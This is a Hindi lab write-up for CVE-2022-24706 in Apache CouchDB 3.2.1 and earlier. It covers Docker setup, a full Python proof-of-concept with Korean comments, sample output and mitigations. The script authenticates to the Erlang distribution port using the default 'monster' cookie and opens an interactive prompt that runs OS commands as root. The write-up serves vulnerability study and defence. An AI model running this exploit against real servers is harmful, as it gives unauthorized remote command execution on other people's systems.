
CVE-2022-24706 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट जो Apache CouchDB 3.2.1 और उससे नीचे के संस्करणों को लक्षित करता है। डिफ़ॉल्ट कुकी प्रमाणीकरण का उपयोग करके Erlang Distribution Protocol के माध्यम से दूरस्थ कमांड निष्पादन प्रदर्शित करता है।
योगदानकर्ता
Apache CouchDB एक ओपन-सोर्स दस्तावेज़-उन्मुख (Document-Oriented) NoSQL डेटाबेस है जो Erlang में लागू किया गया है।
Apache CouchDB को Erlang में विकसित किया गया है, इसलिए यह डिफ़ॉल्ट रूप से वितरित कंप्यूटिंग (क्लस्टरिंग) सुविधा का समर्थन करता है। क्लस्टर नोड Erlang/OTP Distribution Protocol का उपयोग करके एक दूसरे के साथ संचार करते हैं, और इस प्रोटोकॉल के माध्यम से CouchDB चलाने वाले उपयोगकर्ता की अनुमति से ऑपरेटिंग सिस्टम (OS) कमांड को निष्पादित किया जा सकता है।
ऑपरेटिंग सिस्टम कमांड निष्पादित करने के लिए, आपको Erlang में कुकी (Cookie) कही जाने वाली प्रमाणीकरण स्ट्रिंग (गुप्त वाक्यांश) पता होना चाहिए। CouchDB 3.2.1 और उससे पहले के संस्करणों में, स्थापना के समय डिफ़ॉल्ट कुकी मान monster पर सेट होता है, और इस मान को जानने वाला हमलावर प्रमाणीकरण पार कर सकता है और दूरस्थ रूप से ऑपरेटिंग सिस्टम कमांड निष्पादित कर सकता है।
संदर्भ सामग्री:
इस अभ्यास को करने के लिए निम्नलिखित वातावरण की आवश्यकता है।
Apple Silicon (M1/M2/M3) आधारित macOS पर, इमेज प्लेटफ़ॉर्म से संबंधित चेतावनी प्रदर्शित हो सकती है। अधिकांश मामलों में, Docker Desktop amd64 इमेज को स्वचालित रूप से एमुलेट करके चलाता है, इसलिए किसी अलग कार्रवाई की आवश्यकता नहीं है। यदि कंटेनर सामान्य रूप से नहीं चलता है, तो आप docker-compose.yml में couchdb सेवा में platform: linux/amd64 विकल्प जोड़कर इसे चला सकते हैं।
Python 3 स्थापित नहीं है, तो आप नीचे दिए गए कमांड के माध्यम से इसे स्थापित कर सकते हैं।
sudo apt update
sudo apt install -y python3
Apache CouchDB 3.2.1 वातावरण चलाने के लिए निम्नलिखित कमांड निष्पादित करें।
docker compose up -d
सेवा चलने पर, target-ip पर निम्नलिखित 3 पोर्ट खुलेंगे।
वास्तविक वातावरण में, वेब इंटरफ़ेस पोर्ट (5984) और EPMD सेवा पोर्ट (4369) निश्चित होते हैं, लेकिन क्लस्टर संचार पोर्ट हर बार चलाने पर बदल सकता है। इसलिए, आप EPMD सेवा तक पहुँचकर वर्तमान में उपयोग में आ रहे क्लस्टर संचार पोर्ट नंबर की पुष्टि कर सकते हैं।
Apache CouchDB सामान्य रूप से चलने पर, आप http://target-ip:5984 पर संस्करण जानकारी देख सकते हैं।

यह भेद्यता निम्नलिखित शर्तों को पूरा करने पर उत्पन्न होती है:
monster) पर सेट होनी चाहिए।docker compose up -d
python3 poc.py target-ip 4369
PoC EPMD सेवा से वर्तमान में उपयोग में आने वाले क्लस्टर संचार पोर्ट नंबर को प्राप्त करता है, फिर डिफ़ॉल्ट कुकी (monster) का उपयोग करके Erlang Distribution Protocol प्रमाणीकरण करता है।
प्रमाणीकरण पूरा होने पर, आप वांछित ऑपरेटिंग सिस्टम कमांड दर्ज करके दूरस्थ कमांड निष्पादन की पुष्टि कर सकते हैं।
#!/usr/local/bin/python3
# Python 기본 라이브러리
import socket
from hashlib import md5
import struct
import sys
import re
import time
# 대상 서버 및 기본 설정
TARGET = sys.argv[1]
EPMD_PORT = int(sys.argv[2]) # EPMD 기본 포트
COOKIE = "monster" # CouchDB 기본 Erlang Cookie
ERLNAG_PORT = 0
EPM_NAME_CMD = b"\x00\x01\x6e" # Erlang 노드 목록 요청 패킷
# Erlang 인증 및 제어 메시지
NAME_MSG = b"\x00\x15n\x00\x05\x00\x07\x49\x9cAAAAAA@AAAAAAA"
CHALLENGE_REPLY = b"\x00\x15r\x01\x02\x03\x04"
CTRL_DATA = b"\x83h\x04a\x06gw\x0eAAAAAA@AAAAAAA\x00\x00\x00\x03"
CTRL_DATA += b"\x00\x00\x00\x00\x00w\x00w\x03rex"
# 사용자가 입력한 명령을 Erlang RPC 패킷으로 변환
def compile_cmd(CMD):
MSG = b"\x83h\x02gw\x0eAAAAAA@AAAAAAA\x00\x00\x00\x03\x00\x00\x00"
MSG += b"\x00\x00h\x05w\x04callw\x02osw\x03cmdl\x00\x00\x00\x01k"
MSG += struct.pack(">H", len(CMD))
MSG += bytes(CMD, 'ascii')
MSG += b'jw\x04user'
PAYLOAD = b'\x70' + CTRL_DATA + MSG
PAYLOAD = struct.pack('!I', len(PAYLOAD)) + PAYLOAD
return PAYLOAD
print("Remote Command Execution via Erlang Distribution Protocol.\n")
# EPMD 서버에 접속하여 Erlang 노드 정보 획득
try:
epm_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
epm_socket.connect((TARGET, EPMD_PORT))
except socket.error as msg:
print("Couldnt connect to EPMD: %s\n terminating program" % msg)
sys.exit(1)
# Erlang 노드 목록 요청
epm_socket.send(EPM_NAME_CMD)
# 정상 응답이면 노드 정보를 가져옴
if epm_socket.recv(4) == b'\x00\x00\x11\x11':
data = epm_socket.recv(1024)
data = data[0:len(data) - 1].decode('ascii')
data = data.split("\n")
if len(data) == 1:
choise = 1
print("Found " + data[0])
else:
print("\nMore than one node found, choose which one to use:")
line_number = 0
for line in data:
line_number += 1
print(" %d) %s" %(line_number, line))
choise = int(input("\n> "))
ERLNAG_PORT = int(re.search(r"\d+$",data[choise - 1])[0])
else:
print("Node list request error, exiting")
sys.exit(1)
epm_socket.close()
# Erlang 노드에 접속
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((TARGET, ERLNAG_PORT))
except socket.error as msg:
print("Couldnt connect to Erlang server: %s\n terminating program" % msg)
sys.exit(1)
# Challenge 값 수신
s.send(NAME_MSG)
s.recv(5)
challenge = s.recv(1024)
print(challenge)
challenge = struct.unpack(">I", challenge[9:13])[0]
# Challenge 값을 이용하여 인증 정보 생성
CHALLENGE_REPLY += md5(bytes(COOKIE, "ascii")
+ bytes(str(challenge), "ascii")).digest()
# 인증 요청
s.send(CHALLENGE_REPLY)
CHALLENGE_RESPONSE = s.recv(1024)
# 인증 성공 여부 확인
if len(CHALLENGE_RESPONSE) == 0:
print("Authentication failed, exiting")
sys.exit(1)
print("Authentication successful")
print("Enter command:\n")
data_size = 0
# 사용자 명령을 입력받아 원격 CouchDB 노드에서 실행
while True:
if data_size <= 0:
CMD = input("> ")
if not CMD:
continue
elif CMD == "exit":
sys.exit(0)
s.send(compile_cmd(CMD))
data_size = struct.unpack(">I", s.recv(4))[0]
s.recv(45)
data_size -= 45
time.sleep(0.1)
elif data_size < 1024:
data = s.recv(data_size)
time.sleep(0.1)
print(data[3:].decode())
data_size = 0
else:
data = s.recv(1024)
time.sleep(0.1)
print(data[4:].decode())
data_size -= 1024
PoC चलाने के परिणामस्वरूप, EPMD सेवा के माध्यम से क्लस्टर संचार पोर्ट सामान्य रूप से पुष्टि की गई और Authentication successful संदेश के माध्यम से Erlang Distribution Protocol प्रमाणीकरण सफल हुआ।
इसके बाद whoami कमांड चलाकर यह पुष्टि की जा सकती है कि कमांड root अनुमति के साथ निष्पादित होती है, और id कमांड के माध्यम से उपयोगकर्ता और समूह की जानकारी देखी जा सकती है। इसके अलावा, touch /tmp/success कमांड से लक्ष्य सिस्टम के /tmp निर्देशिका में success फ़ाइल बनाई जा सकती है, और फिर ls /tmp कमांड से यह पुष्टि की जा सकती है कि फ़ाइल बन गई है। इससे यह सत्यापित किया जा सकता है कि दर्ज किए गए ऑपरेटिंग सिस्टम कमांड वास्तव में लक्ष्य सिस्टम पर निष्पादित हुए।

अभ्यास पूरा होने पर, Docker कंटेनर और नेटवर्क को समाप्त करने के लिए निम्नलिखित कमांड निष्पादित करें।
docker compose down
नवीनतम संस्करण में अपडेट करें
Apache CouchDB को 3.2.2 या उससे ऊपर के संस्करण में अपडेट करके डिफ़ॉल्ट Erlang कुकी के उपयोग की समस्या का समाधान करें।
डिफ़ॉल्ट Erlang कुकी बदलें
डिफ़ॉल्ट कुकी मान (monster) का उपयोग न करें और अनुमान लगाने में कठिन किसी यादृच्छिक मान से बदलकर प्रमाणीकरण बाईपास और दूरस्थ कमांड निष्पादन को रोकें।
EPMD और क्लस्टर संचार पोर्ट तक पहुँच प्रतिबंधित करें
EPMD (4369) और क्लस्टर संचार पोर्ट तक केवल विश्वसनीय होस्ट से ही पहुँच की अनुमति देने के लिए फ़ायरवॉल या एक्सेस कंट्रोल नीति लागू करें।
अनावश्यक Erlang Distribution सुविधा अक्षम करें
क्लस्टर सुविधा का उपयोग न करने वाले वातावरण में, Erlang Distribution सुविधा या संबंधित सेवाओं तक बाहरी पहुँच प्रतिबंधित करके हमले की संभावना को कम करें।